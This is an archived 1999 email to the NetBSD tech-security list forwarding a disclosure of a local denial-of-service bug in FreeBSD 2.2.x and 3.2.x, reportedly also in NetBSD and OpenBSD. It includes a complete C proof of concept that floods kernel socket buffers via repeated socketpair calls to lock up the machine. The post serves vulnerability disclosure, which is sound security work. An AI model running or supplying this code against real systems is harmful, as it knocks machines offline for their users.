by redmail.netbsd.org with SMTP; 1 Sep 1999 14:17:37 -0000
	id RZ4BLLMD; Wed, 1 Sep 1999 10:15:22 -0400
Message-ID: <37CD3635.3324C619@borders.com>
Date: Wed, 01 Sep 1999 10:20:37 -0400
From: Calvin Vette <cvette@borders.com>
MIME-Version: 1.0
To: tech-security@netbsd.org
Subject: [Fwd: Local DoS in FreeBSD]
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Content-Transfer-Encoding: 7bit



"L. Sassaman" wrote:

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>
> This was first posted to the FreeBSD security list on the 9th of August,
> subsequently discussed on freebsd-stable and freebsd-hackers... no one
> seems to care, even though it is able to lock up 2.2.6, 2.2.8, and 3.2.x
> machines consistantly. I have also been told that it affects NetBSD and
> OpenBSD, though I haven't confirmed it.
>
> Someone with the know-how care to fix?
>
> L. Sassaman
>
> System Administrator                | "Even the most primitive society has
> Technology Consultant               |  an innate respect for the insane."
> icq.. 10735603                      |
> pgp.. finger://ns.quickie.net/rabbi |                    --Mickey Rourke
>
> - ---
>
> #include        <unistd.h>
> #include        <sys/socket.h>
> #include        <fcntl.h>
>
> #define         BUFFERSIZE      204800
>
> extern  int
> main(void)
> {
>         int             p[2], i;
>         char            crap[BUFFERSIZE];
>
>         while (1)
>         {
>                 if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
>                         break;
>                 i = BUFFERSIZE;
>                 setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
>                 setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
>                 setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
>                 setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
>                 fcntl(p[0], F_SETFL, O_NONBLOCK);
>                 fcntl(p[1], F_SETFL, O_NONBLOCK);
>                 write(p[0], crap, BUFFERSIZE);
>                 write(p[1], crap, BUFFERSIZE);
>         }
>
>         return(0);
> }
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> =7ufs
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